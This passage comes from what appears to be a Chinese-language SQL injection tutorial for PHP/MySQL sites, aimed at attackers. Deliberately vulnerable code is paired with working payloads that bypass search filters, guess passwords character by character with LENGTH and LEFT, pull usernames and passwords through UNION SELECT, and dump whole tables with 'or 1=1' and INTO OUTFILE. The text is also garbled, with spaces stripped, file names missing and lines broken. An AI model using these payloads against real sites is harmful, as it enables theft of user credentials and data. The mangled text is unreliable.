n";

}else{

while($article=mysql_fetch_array($result)){

echo"

".htmlspecialchars($article[title])."

n";

}//while

}

}else{

echo"leaseentersomekeywords.

n";

}

>

一般程序都是这样写的,如果缺乏变量检查,我们就可以改写变

量,达到"注入"的目的,尽管没有危害,当我们输入"___"、".__"、

"%"等类似的关键字时,会把数据库中的所有记录都取出来。如果我们

在表单提交:

%'ORDERBYarticleid/*

%'ORDERBYarticleid#

__'ORDERBYarticleid/*

__'ORDERBYarticleid#

SQL语句就被改变成下面的样子了,

SELECT*FROMarticleWHEREtitleLIKE'%%'ORDERBYarticleid/*

%'ORDERBYtitle

DESC

SELECT*FROMarticleWHEREtitleLIKE'%__'ORDERBYarticleid#

%'ORDERBYtitle

DESC

就会列出所有记录,包括被隐藏的,还可以改变排列顺序。这个

虽然危害不大,也算是注入的一种方式了吧?

二、查询字段

查询字段又可以分成两种,本表查询和跨表查询,这两种查询和

ACCESS、MSSQL差不多,甚至更强大、更灵活、更方便。不知道为

什么就是有人认为比ASP难?我们在ASP中经常使用的个别函数在

PHP里要有小小的改动,如下:

①本表查询

看下面一条SQL语句,多用在论坛或者会员注册系统查看用户资

料的,

$servername="localhost";

$dbusername="root";

$dbpassword="";

$dbname="injection";

mysql_connect($servername,$dbusername,$dbpassword)or

die("数据库连接失败");

$sql="SELECT*FROMuserWHEREusername='$username'";

$result=mysql_db_query($dbname,$sql);

$row=mysql_fetch_array($result);

if(!$row){

echo"该记录不存在";

echo"

SQLQuerysql

";

exit;

}

echo"你要查询的用户ID是:$row[userid]n";

echo"

SQLQuerysql

";

>

当我们提交的用户名为真时,就会正常返回用户的ID,如果为非

法参数就会提示相应的错误,由于是查询用户资料,我们可以大胆猜

测密码就存在这个数据表里(现在我还没有碰见过密码是单独存在另

一个表的程序),记得刚才的身份验证程序吗?和现在的相比,就少

了一个AND条件,如下:

SELECT*FROMuserWHEREusername='$username'ANDpass

word='$password'SELECT*FROM

userWHEREusername='$username'

相同的就是当条件为真时,就会给出正确的提示信息,如果我们

构造出后面的AND条件部分,并使这部分为真,那我们的目的也就达

到了,还是利用刚才建立的user数据库,用户名为angel,

密码为mypass,

看了上面的例子,应该知道构造了吧,如果我们提交:

127.0.0.1/injection/?username=angel'andpas

sword='mypass

这个是绝对为真的,因为我们这样提交上面的SQL语句变成了下

面的样子:

SELECT*FROMuserWHEREusername='angel'ANDpassword=

'mypass'

但在实际的攻击中,我们是肯定不知道密码的,假设我们知道数

据库的各个字段,下面我们就开始探测密码了,首先获取密码长度:

127.0.0.1/injection/?username=angel'andLE

NGTH(password)='6

在ACCESS中,用LEN()函数来获取字符串长度,在MYSQL中,

要使用LENGTH(),只要没有构造

错误,也就是说SQL语句能正常执行,那返回结果无外乎两种,

不是返回用户ID,就是返回"该记

录不存在"。当用户名为angel并且密码长度为6的时候返回真,

就会返回相关记录,是不是和ASP

里一样?再用LEFT()、RIGHT()、MID()函数猜密码:

127.0.0.1/injection/?username=angel'andLEF

T(password,1)='m

127.0.0.1/injection/?username=angel'andLEF

T(password,2)='my

127.0.0.1/injection/?username=angel'andLEFT(pa

ssword,3)='myp

127.0.0.1/injection/?username=angel'andLEFT(pa

ssword,4)='mypa

127.0.0.1/injection/?username=angel'andLEFT(pa

ssword,5)='mypas

127.0.0.1/injection/?username=angel'andLEFT(pa

ssword,6)='mypass 看,密码不是出来了吗?简单吧?当然实际情况

会有不少条件限制,下面还会讲到这个例子的深入应用。

②跨表查询

这部分就和ASP有点出入了,除了一定要用UNION连接两条

SQL语句,最难掌握的就是字段的数

量,如果看过MYSQL参考手册,就知道了在SEL ECT 中的

select_expression

(select_expression 表示你希望检索的列[字段]) 部分列出的列必

须具有同样的类型。第一个

SELECT 查询中使用的列名将作为结果集的列名返回。简单的说,

也就是UNION后面查选的字段数

量、字段类型都应该与前面的SELECT一样,而且,如果前面的

SELECT为真,就同时返回两个

SELECT的结果,当前面的SELECT为假,就会返回第二个

SELECT所得的结果,某些情况会替换掉在

第一个SELECT原来应该显示的字段,应该先知道前面查询表的数

据表的结构。如果我们查询两

个数据表的字段相同,类型也相同,我们就可以这样提交:

SELECT * FROM article WHERE articleid='$id' UNION SELECT

* FROM……

如果字段数量、字段类型任意一个不相同,就只能搞清除数据类

型和字段数量,这样提交:

SELECT * FROM article WHERE articleid='$id' UNION SELECT

1,1,1,1,1,1,1 FROM……

否则就会报错:

The used SELECT statements have a different number of

columns

如果不知道数据类型和字段数量,可以用1来慢慢试,因为1属

于intstrvar类型,所以我们只

要慢慢改变数量,一定可以猜到的。如果不能马上理解上面的理

论,后面有很详细的例子。

我们看看下面的数据结构,是一个简单的文章数据表。

CREATE TABLE `article` (

`articleid` int(11) NOT NULL auto_increment,

`title` varchar(100) NOT NULL default '',

`content` text NOT NULL,

PRIMARY KEY (`articleid`)

) TYPE=MyISAM AUTO_INCREMENT=3 ;

#

# 导出表中的数据 `article`

#

INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中

国的教育制度真是请文明用语

落后!如果我当教育部长。我要把所有老师都解雇!');

INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是

什么东西啊');

这个表的字段类型分别是int、varchar、text,如果我们用

UNION联合查询的时候,后面的查

询的表的结构和这个一样。就可以用"SELECT *",如果有任何一

个不一样,那我们只能用"SELECT 1,1,1,1……"了。

下面的文件是一个很标准、简单的显示文章的文件,很多站点都

是这种页面没有过滤,所以

成为最明显的注入点,下面就拿这个文件作为例子,开始我们的

注入实验。

$servername = "localhost";

$dbusername = "root";

$dbpassword = "";

$dbname = "injection";

mysql_connect($servername,$dbusername,$dbpassword) or

die ("数据库连接失败"); $sql = "SELECT * FROM article WHERE

articleid='$id'";

$result = mysql_db_query($dbname,$sql);

$row = mysql_fetch_array($result);

if (!$row)

{

echo "该记录不存在";

echo "SQL Querysql";

exit;

}

echo "title".$row[title]."n";

echo "content".$row[content]."n";

echo "SQL Querysql";

>

正常情况下,我们提交这样的一个请求:

127.0.0.1/injection/?id=1

就会显示articleid为1的文章,但我们不需要文章,我们需要的

是用户的敏感信息,就要查

询user表,现在是查询刚才我们建立的user表。

由于$id没有过滤给我们制造了这个机会,我们要把文

件中的SQL语句改写成类似这个样子:

SELECT * FROM article WHERE articleid='$id' UNION SELECT

* FROM user ……

由于这个代码是有单引号包含着变量的,我们现在提交:

127.0.0.1/injection/?id=1'

1,username,password from user/*

按道理说,应该显示用户表的username、password两个字段的

内容才对啊,怎么正常显示文章呢?

其实,我们提交的articleid=1是article表里存在的,执行结果

union select

就是真了,自然返回前面SELECT的结果,当我们提交空的值或者提交

一个不存在的值,就会蹦出我们想要的东西:

127.0.0.1/injection/?id='

1,username,password from user/*

127.0.0.1/injection/?id=99999' union select

1,username,password from

user/*

现在就在字段相对应的地方显示出我们所要的内容。如果还不清

楚思路以及具体的应用,后面还会讲到一些高级的技巧。

三、导出文件

这个是比较容易构造但又有一定限制的技术,我们经常可以看见

以下的SQL语句:select * from table into outfile 'c:/'

select * from table into outfile '/var/www/'

但这样的语句,一般很少用在程序里,有谁会把自己的数据导出

呢?除非是备份,但我也没

有见过这种备份法。所以我们要自己构造,但必须有下面的前提

条件:

必须导出到能访问的目录,这样才能下载。

能访问的目录必须要有可写的权限,否则导出会失败。

确保硬盘有足够的容量能容下导出的数据,这个很少见。

确保要已经存在相同的文件名,会导致导出失败,并提示:"File

'c:/' already exists",这样可以防止数据库表和文件例如

/etc/passwd被破坏。

我们继续用上面的和两个文件举例,如果一

个一个用户猜解实在是太慢了

,如果对方的密码或者其他敏感信息很复杂,又不会写Exploit,

要猜到什么时候啊?来点大范围

的,直接导出全部数据好了。文件的查询语句,我们按

照into outfile的标准格式,注

入成下面的语句就能导出我们需要的信息了:

union select

SELECT * FROM user WHERE username='$username' into

outfile 'c:/' 知道怎么样的语句可以实现我们的目的,我们就很

容易构造出相应的语句:

127.0.0.1/injection/?username=angel'

SQL语句确实是注入正确了,即使出现错误,

也是查询的问题了,文件还是乖乖的被导出了,

由于代码本身就有WHERE来指定一个条件,所以我们导出的数

据仅仅是满足这个条件的数据,

如果我们想导出全部呢?其实很简单,只要使这个WHERE条件

为假,并且指定一个成真的条件,就

可以不用被束缚在WHERE里了,来看看经典1=1发挥作用了:

127.0.0.1/injection/?username=' or 1=1 into

outfile 'c:/ 实际的SQL语句变为:

SELECT * FROM user WHERE username='' or 1=1 into outfile

'c:/' 这样username的参数是空的,就是假了,1=1永远是真

的,那or前面的WHERE就不起作用了,

但千万别用and哦,否则是不能导出全部数据的。

既然条件满足,在这种情况下就直接导出所有数据!

但是跨表的导出文件的语句该怎么构造呢?还是用到UNION联合

查询,所以一切前提条件都应

该和UNION、导出数据一样,跨表导出数据正常情况下应该相下

面的一样:

SELECT * FROM article WHERE articleid='1' union select

1,username,password from user into outfile 'c:/'

这样可以导出文件了,如果我们要构造就提交:

127.0.0.1/injection/?id=1'

1,username,password from user

into outfile 'c:/

文件是出来了,可是有一个问题,由于前面的查询articleid='1'

union select

into

outfile 'c:/ 出现了错误提示,但从返回的语句看来,我们的

为真了,所以导出的数据也

本文标签: 文件用户注入设置语句